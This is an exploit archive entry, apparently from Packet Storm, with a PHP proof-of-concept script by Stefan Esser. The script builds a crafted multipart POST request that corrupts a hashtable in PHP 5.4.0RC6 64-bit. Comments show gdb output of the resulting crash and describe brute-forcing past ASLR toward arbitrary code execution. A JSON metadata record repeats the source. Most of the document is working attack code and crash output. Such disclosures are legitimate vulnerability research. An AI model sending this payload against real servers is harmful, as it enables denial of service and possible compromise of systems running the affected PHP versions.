ID PACKETSTORM:109450
Type packetstorm
Reporter Stefan Esser
Modified 2012-02-05T00:00:00
Description
`<?php
/* This script generates a POST header that makes PHP 5.4.0RC6 *64 bit* try to execute code at 0x1111111111111111
(C) Copyright 2012 Stefan Esser
PHP 5.3.9 requires you to know the address of a writable address filled with NULL.
32bit requires you to create a fake 32bit Hashtable instead of a 64bit one
Because this vulnerability also allows leaking memory addresses ASLR can be "semi"-defeated. This means around 4000
tries = 4000 requests = 4000 crashes are enough to bruteforce code addresses to execute arbitrary code despite ASLR/NX
better exploit might be possible after deeper research + heap massage
This specific attack only works if there is no Suhosin-Patch -> RHEL, CentOS
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007fd959ca5f9d in _zend_hash_index_update_or_next_insert (ht=0x7fd96480d508, h=0, pData=0x7fff75c47bd0, nDataSize=8, pDest=0x7fff75c47bc8, flag=1,
__zend_filename=0x7fd95a061b68 "/home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.h", __zend_lineno=350)
at /home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.c:398
398 ht->pDestructor(p->pData);
(gdb) i r
rax 0x7fd9583352a0 140571464389280
rbx 0x0 0
rcx 0x8 8
rdx 0x111111111111111 76861433640456465
rsi 0x7fd95a077b08 140571495070472
rdi 0x7fd9583352a0 140571464389280
rbp 0x7fff75c47ae0 0x7fff75c47ae0
rsp 0x7fff75c47a80 0x7fff75c47a80
r8 0x7fff75c47bc8 140735169199048
r9 0x1 1
r10 0x6238396661373430 7077469926293189680
r11 0x7fd962f4c8e0 140571644840160
r12 0x7fd966b91da8 140571708038568
r13 0x0 0
r14 0xffffffff00000001 -4294967295
r15 0x7fd964b10538 140571673953592
rip 0x7fd959ca5f9d 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/5i $rip
=> 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>: callq *%rdx
0x7fd959ca5f9f <_zend_hash_index_update_or_next_insert+479>: cmpl $0x8,-0x3c(%rbp)
0x7fd959ca5fa3 <_zend_hash_index_update_or_next_insert+483>: jne 0x7fd959ca6031 <_zend_hash_index_update_or_next_insert+625>
0x7fd959ca5fa9 <_zend_hash_index_update_or_next_insert+489>: mov -0x18(%rbp),%rax
0x7fd959ca5fad <_zend_hash_index_update_or_next_insert+493>: mov 0x10(%rax),%rax
(gdb)
*/
$boundary = md5(microtime());
$varname = "xxx";
$payload = "";
$payload .= "--$boundary\n";
$payload .= 'Content-Disposition: form-data; name="'.$varname.'"'."\n\n";
$payload .= chr(16);
for ($i=1; $i<7*8; $i++) {
$payload .= chr(0);
}
for ($i=1; $i<8; $i++) {
$payload .= "\x11";
}
$payload .= chr(1);
for ($i=16+48+1; $i<128; $i++) {
$payload .= chr(0);
}
$payload .= "\n";
for ($i=0; $i<1000; $i++) {
$payload .= "--$boundary\n";
$payload .= 'Content-Disposition: form-data; name="aaa'.$i.'"'."\n\n";
$payload .= "aaa\n";
}
$payload .= "--$boundary\n";
$payload .= 'Content-Disposition: form-data; name="'.$varname.'[]"'."\n\n";
$payload .= "aaa\n";
$payload .= "--$boundary\n";
$payload .= 'Content-Disposition: form-data; name="'.$varname.'[0]"'."\n\n";
$payload .= "aaa\n";
$payload .= "--$boundary--\n";
echo "POST /index.php HTTP/1.0\n";
echo "Content-Type: multipart/form-data; boundary=$boundary\n";
echo "Content-Length: ",strlen($payload),"\n";
echo "\n";
echo "$payload";
?>
`
{"sourceHref": "https://packetstormsecurity.com/files/download/109450/php540rc6-dos.txt", "sourceData": "`<?php \n/* This script generates a POST header that makes PHP 5.4.0RC6 *64 bit* try to execute code at 0x1111111111111111 \n(C) Copyright 2012 Stefan Esser \nPHP 5.3.9 requires you to know the address of a writable address filled with NULL. \n32bit requires you to create a fake 32bit Hashtable instead of a 64bit one \nBecause this vulnerability also allows leaking memory addresses ASLR can be \"semi\"-defeated. This means around 4000 \ntries = 4000 requests = 4000 crashes are enough to bruteforce code addresses to execute arbitrary code despite ASLR/NX \nbetter exploit might be possible after deeper research + heap massage \nThis specific attack only works if there is no Suhosin-Patch -> RHEL, CentOS \n(gdb) c \nContinuing. \nProgram received signal SIGSEGV, Segmentation fault. \n0x00007fd959ca5f9d in _zend_hash_index_update_or_next_insert (ht=0x7fd96480d508, h=0, pData=0x7fff75c47bd0, nDataSize=8, pDest=0x7fff75c47bc8, flag=1, \n__zend_filename=0x7fd95a061b68 \"/home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.h\", __zend_lineno=350) \nat /home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.c:398 \n398 ht->pDestructor(p->pData); \n(gdb) i r \nrax 0x7fd9583352a0 140571464389280 \nrbx 0x0 0 \nrcx 0x8 8 \nrdx 0x111111111111111 76861433640456465 \nrsi 0x7fd95a077b08 140571495070472 \nrdi 0x7fd9583352a0 140571464389280 \nrbp 0x7fff75c47ae0 0x7fff75c47ae0 \nrsp 0x7fff75c47a80 0x7fff75c47a80 \nr8 0x7fff75c47bc8 140735169199048 \nr9 0x1 1 \nr10 0x6238396661373430 7077469926293189680 \nr11 0x7fd962f4c8e0 140571644840160 \nr12 0x7fd966b91da8 140571708038568 \nr13 0x0 0 \nr14 0xffffffff00000001 -4294967295 \nr15 0x7fd964b10538 140571673953592 \nrip 0x7fd959ca5f9d 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477> \neflags 0x10206 [ PF IF RF ] \ncs 0x33 51 \nss 0x2b 43 \nds 0x0 0 \nes 0x0 0 \nfs 0x0 0 \ngs 0x0 0 \n(gdb) x/5i $rip \n=> 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>: callq *%rdx \n0x7fd959ca5f9f <_zend_hash_index_update_or_next_insert+479>: cmpl $0x8,-0x3c(%rbp) \n0x7fd959ca5fa3 <_zend_hash_index_update_or_next_insert+483>: jne 0x7fd959ca6031 <_zend_hash_index_update_or_next_insert+625> \n0x7fd959ca5fa9 <_zend_hash_index_update_or_next_insert+489>: mov -0x18(%rbp),%rax \n0x7fd959ca5fad <_zend_hash_index_update_or_next_insert+493>: mov 0x10(%rax),%rax \n(gdb) \n*/ \n$boundary = md5(microtime()); \n$varname = \"xxx\"; \n$payload = \"\"; \n$payload .= \"--$boundary\\n\"; \n$payload .= 'Content-Disposition: form-data; name=\"'.$varname.'\"'.\"\\n\\n\"; \n$payload .= chr(16); \nfor ($i=1; $i<7*8; $i++) { \n$payload .= chr(0); \n} \nfor ($i=1; $i<8; $i++) { \n$payload .= \"\\x11\"; \n} \n$payload .= chr(1); \nfor ($i=16+48+1; $i<128; $i++) { \n$payload .= chr(0); \n} \n$payload .= \"\\n\"; \nfor ($i=0; $i<1000; $i++) { \n$payload .= \"--$boundary\\n\"; \n$payload .= 'Content-Disposition: form-data; name=\"aaa'.$i.'\"'.\"\\n\\n\"; \n$payload .= \"aaa\\n\"; \n} \n$payload .= \"--$boundary\\n\"; \n$payload .= 'Content-Disposition: form-data; name=\"'.$varname.'[]\"'.\"\\n\\n\"; \n$payload .= \"aaa\\n\"; \n$payload .= \"--$boundary\\n\"; \n$payload .= 'Content-Disposition: form-data; name=\"'.$varname.'[0]\"'.\"\\n\\n\"; \n$payload .= \"aaa\\n\"; \n$payload .= \"--$boundary--\\n\"; \necho \"POST /index.php HTTP/1.0\\n\"; \necho \"Content-Type: multipart/form-data; boundary=$boundary\\n\"; \necho \"Content-Length: \",strlen($payload),\"\\n\"; \necho \"\\n\"; \necho \"$payload\"; \n?> \n \n`\n", "edition": 1, "references": [], "modified": "2012-02-05T00:00:00", "hash": "ac255fd6ce4c8c10c3c780f13fd81f0beb42714c6688669b4781e47ece01cc82", "cvelist": [], "history": [], "bulletinFamily": "exploit", "href": "https://packetstormsecurity.com/files/109450/PHP-5.4.0RC6-Denial-Of-Service.html", "description": "", "id": "PACKETSTORM:109450", "reporter": "Stefan Esser", "lastseen": "2016-11-03T10:21:45", "published": "2012-02-05T00:00:00", "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "dependencies": {"references": [], "modified": "2016-11-03T10:21:45"}, "vulnersScore": 7.5}, "objectVersion": "1.2", "type": "packetstorm", "cvss": {"vector": "NONE", "score": 0.0}, "title": "PHP 5.4.0RC6 Denial Of Service", "viewCount": 2, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "d4be9c4fc84262b4f39f89565918568f", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "description"}, {"hash": "efc5939d6eccc380d5fd9c917222ebd7", "key": "href"}, {"hash": "1272e034d06640194e4dce09b2434551", "key": "modified"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "1272e034d06640194e4dce09b2434551", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "ffe8bd05b67a518a7637c75f893f38e4", "key": "reporter"}, {"hash": "cdc85af57ef64806e8ed0b75f9731ea2", "key": "sourceData"}, {"hash": "3b57df082079b3be55fd3b5b165e3ed8", "key": "sourceHref"}, {"hash": "247c98c319b6d10ec60263048a09352f", "key": "title"}, {"hash": "6466ca3735f647eeaed965d9e71bd35d", "key": "type"}]}
{}
